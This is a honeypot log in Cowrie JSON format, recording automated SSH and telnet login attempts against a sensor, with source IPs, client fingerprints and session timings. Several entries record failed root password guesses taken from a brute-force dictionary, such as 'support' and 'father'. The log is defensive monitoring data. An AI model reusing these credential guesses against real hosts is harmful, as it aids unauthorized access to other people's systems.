{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:64:a7:7f:be:0c:7a:ea:8e:b2:82:cc:6a:5e:1e:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAoMFhc0CCbTTZzCwX2oKekg/27qhE0B+wGU+nNgk9Yaet5DEe6YgBebjQkibtr47MFoxkd+YHW4sj1N2s1A+WjTZFuhElosb75bpkil1UZpPOXICQ79Px2DMf5pfNZdszOsWvtBeBEc2na/rM9zSqDP/2l4x+2OQJEf6nK4cdmu47HUseUGn8pzRN7Pf1fbPo2/Ed0hUDc9MhoI1ZX+Xk0etZWLqBtfj8h5zqQGCE4J1YKHVDAm3LZZijUv5IYCURSLIXzb7pHLiG/Zxg6M8lIlsNr0a1ibW8naZm0EQdszCSt9NZrKQu0tSBXp7iDPYC+bQpU7+0aguFDeVSBsnB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.411472Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:c8:c5:8f:e3:0e:c7:d9:d2:3c:da:4e:a2:8b:cf:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAHj3t7M+3z5/A524iUQZmT1HJfKfwCzYc4XXk12rVp/def8Y60DAiFpA74rJPNdKtg42F3p9ORZvhldGFQpxtjPeVNXKrcPFt+7wPutj/j0JAPmaOFECxkwGbfc50bF8CwHpI6oxqPcGMooTunpXhfQdj79Og2Z9s232QbqtQOaBXR9y4ewO7mb8GeRFI+icDa4yrdrd/U1vtXWYYshJRRZpk+DYMvO5je3vegJAGBeRI29px3B6ni020JPX2NBRu9BnmRSfHw7aKc9d4NzH0jsBYTFirq4kEp2vNUOH1zVBrHcugNTtuGOPGU+mhgoTHYlIoTS7pyvqLelxPCiql","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:c8:c5:8f:e3:0e:c7:d9:d2:3c:da:4e:a2:8b:cf:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.426313Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:c8:c5:8f:e3:0e:c7:d9:d2:3c:da:4e:a2:8b:cf:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAHj3t7M+3z5/A524iUQZmT1HJfKfwCzYc4XXk12rVp/def8Y60DAiFpA74rJPNdKtg42F3p9ORZvhldGFQpxtjPeVNXKrcPFt+7wPutj/j0JAPmaOFECxkwGbfc50bF8CwHpI6oxqPcGMooTunpXhfQdj79Og2Z9s232QbqtQOaBXR9y4ewO7mb8GeRFI+icDa4yrdrd/U1vtXWYYshJRRZpk+DYMvO5je3vegJAGBeRI29px3B6ni020JPX2NBRu9BnmRSfHw7aKc9d4NzH0jsBYTFirq4kEp2vNUOH1zVBrHcugNTtuGOPGU+mhgoTHYlIoTS7pyvqLelxPCiql","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.430993Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:7f:ab:f1:e9:3f:79:c3:07:8a:c5:8e:c8:d1:98:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy85JeiRXTCZzb9DdC1lKdagX5GciXJFfnnW/kJzGZF9ETiWP8t1oKCaP/yvAGJ0L1wm/60pe4kZ7ROFUZ7XtXoe488Vo5NJc+8e4OgDJkt9zjsIidHTM0lbT6UfIKponJzFase8pYxJz+ZK0Vwbibmekw857Ov2/uxfVhBXZ84npPJiRevCwCQYdUZRwA1phpW+tM/S0Ibwe4ZYbaUA6DnKTVbv8W2Fj+eI5RLAYAUR3U+v7bHN8mgH+6edPJi41s6JWS9Y4uQsf5M4dAkWjKc39l31R8NRPf6TwkPha9huhRQ4AQpOBtvDyFpRtFNuC5sS+08GyQf5Mlb+qK5tNX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:7f:ab:f1:e9:3f:79:c3:07:8a:c5:8e:c8:d1:98:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.445103Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:7f:ab:f1:e9:3f:79:c3:07:8a:c5:8e:c8:d1:98:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy85JeiRXTCZzb9DdC1lKdagX5GciXJFfnnW/kJzGZF9ETiWP8t1oKCaP/yvAGJ0L1wm/60pe4kZ7ROFUZ7XtXoe488Vo5NJc+8e4OgDJkt9zjsIidHTM0lbT6UfIKponJzFase8pYxJz+ZK0Vwbibmekw857Ov2/uxfVhBXZ84npPJiRevCwCQYdUZRwA1phpW+tM/S0Ibwe4ZYbaUA6DnKTVbv8W2Fj+eI5RLAYAUR3U+v7bHN8mgH+6edPJi41s6JWS9Y4uQsf5M4dAkWjKc39l31R8NRPf6TwkPha9huhRQ4AQpOBtvDyFpRtFNuC5sS+08GyQf5Mlb+qK5tNX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.449437Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:d7:17:b6:99:3a:2f:b9:54:87:55:2e:d2:70:7f:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxeIqPUV0QQorkWi4WVlb3xObZa8pXpvLXyNQI39ZyjlZd0ZpJ3HY3igYzE575Wr+esEL/JIZIEE9X3AHFC9iZDYfa+bYLEuYZCIDSp0ejHCBciNUlyats5lDdao9gvddFgiZurdApqL84r781NWpGpLgv0sb0plJwm8cUEcy68sq8JOd3KOHJV53LILMaB5n1k2Pt8AdHJ4LPbyilJippR16GRq0f/X+QSyc9a4DRxeO/SdVll4N8e17obBSJ5P0mk6CzeqtPEKWmNIkpBZl8m8t+KHq7DdUNfM6KiDsBMuLB9kKeivc3fnHpgzUVQgepkPwVz4jvjIBIsEcfKmpz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:d7:17:b6:99:3a:2f:b9:54:87:55:2e:d2:70:7f:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.465725Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:d7:17:b6:99:3a:2f:b9:54:87:55:2e:d2:70:7f:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxeIqPUV0QQorkWi4WVlb3xObZa8pXpvLXyNQI39ZyjlZd0ZpJ3HY3igYzE575Wr+esEL/JIZIEE9X3AHFC9iZDYfa+bYLEuYZCIDSp0ejHCBciNUlyats5lDdao9gvddFgiZurdApqL84r781NWpGpLgv0sb0plJwm8cUEcy68sq8JOd3KOHJV53LILMaB5n1k2Pt8AdHJ4LPbyilJippR16GRq0f/X+QSyc9a4DRxeO/SdVll4N8e17obBSJ5P0mk6CzeqtPEKWmNIkpBZl8m8t+KHq7DdUNfM6KiDsBMuLB9kKeivc3fnHpgzUVQgepkPwVz4jvjIBIsEcfKmpz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.470123Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:31.485966Z","src_ip":"206.212.244.18","session":"310f0fc0ceda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.47464323043823,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:34.750505Z","src_ip":"192.119.13.58","session":"821b355295ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.538249492645264,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:35.950305Z","src_ip":"186.195.16.41","session":"f202e44e5599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d486135d16d","protocol":"ssh","message":"New connection: 103.173.227.57:49022 (10.17.0.5:22) [session: 3d486135d16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:43.419527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:43.424449Z","src_ip":"103.173.227.57","session":"3d486135d16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:43.665612Z","src_ip":"103.173.227.57","session":"3d486135d16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:44.388366Z","src_ip":"103.173.227.57","session":"3d486135d16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:45.636594Z","src_ip":"103.173.227.57","session":"3d486135d16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":43948,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc65965e0be","protocol":"ssh","message":"New connection: 193.228.128.84:43948 (159.203.135.109:22) [session: cdc65965e0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:57.641234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:57.646177Z","src_ip":"193.228.128.84","session":"cdc65965e0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:57.748767Z","src_ip":"193.228.128.84","session":"cdc65965e0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666q","message":"login attempt [root/666666q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:58.056188Z","src_ip":"193.228.128.84","session":"cdc65965e0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:10:59.161087Z","src_ip":"193.228.128.84","session":"cdc65965e0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"d138ae6aa3a7","protocol":"telnet","message":"New connection: 192.119.13.58:55840 (10.17.0.5:23) [session: d138ae6aa3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:05.826310Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":59610,"dst_ip":"159.203.135.109","dst_port":22,"session":"475f17737155","protocol":"ssh","message":"New connection: 43.130.31.151:59610 (159.203.135.109:22) [session: 475f17737155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:08.942505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:08.947055Z","src_ip":"43.130.31.151","session":"475f17737155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:09.019979Z","src_ip":"43.130.31.151","session":"475f17737155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinha","message":"login attempt [root/sinha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:09.327357Z","src_ip":"43.130.31.151","session":"475f17737155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:10.400022Z","src_ip":"43.130.31.151","session":"475f17737155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56636,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e08eaec1385","protocol":"telnet","message":"New connection: 192.119.13.58:56636 (10.17.0.5:23) [session: 3e08eaec1385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:12.929732Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36710,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0498da0ed79","protocol":"ssh","message":"New connection: 103.176.20.57:36710 (10.17.0.5:22) [session: c0498da0ed79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:18.094587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:18.099827Z","src_ip":"103.176.20.57","session":"c0498da0ed79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:18.345335Z","src_ip":"103.176.20.57","session":"c0498da0ed79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"father","message":"login attempt [root/father] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:19.087002Z","src_ip":"103.176.20.57","session":"c0498da0ed79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:20.335645Z","src_ip":"103.176.20.57","session":"c0498da0ed79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b650cd42c633","protocol":"telnet","message":"New connection: 192.119.13.58:39190 (10.17.0.5:23) [session: b650cd42c633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:22.097913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06d4d73a98d","protocol":"telnet","message":"New connection: 192.119.13.58:47890 (10.17.0.5:23) [session: c06d4d73a98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:24.180002Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51900,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea7b4528737","protocol":"ssh","message":"New connection: 194.113.233.25:51900 (10.17.0.5:22) [session: fea7b4528737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:36.792579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:36.797585Z","src_ip":"194.113.233.25","session":"fea7b4528737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:36.895705Z","src_ip":"194.113.233.25","session":"fea7b4528737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:37.165570Z","src_ip":"194.113.233.25","session":"fea7b4528737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:38.257823Z","src_ip":"194.113.233.25","session":"fea7b4528737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.028340816497803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:43.957972Z","src_ip":"192.119.13.58","session":"3e08eaec1385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.43436670303345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:46.260547Z","src_ip":"192.119.13.58","session":"d138ae6aa3a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52882,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6749039322","protocol":"telnet","message":"New connection: 192.119.13.58:52882 (10.17.0.5:23) [session: 0a6749039322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:46.478417Z"}
{"eventid":"cowrie.session.closed","duration":6.034993410110474,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:11:52.513291Z","src_ip":"192.119.13.58","session":"0a6749039322","protocol":"telnet"}
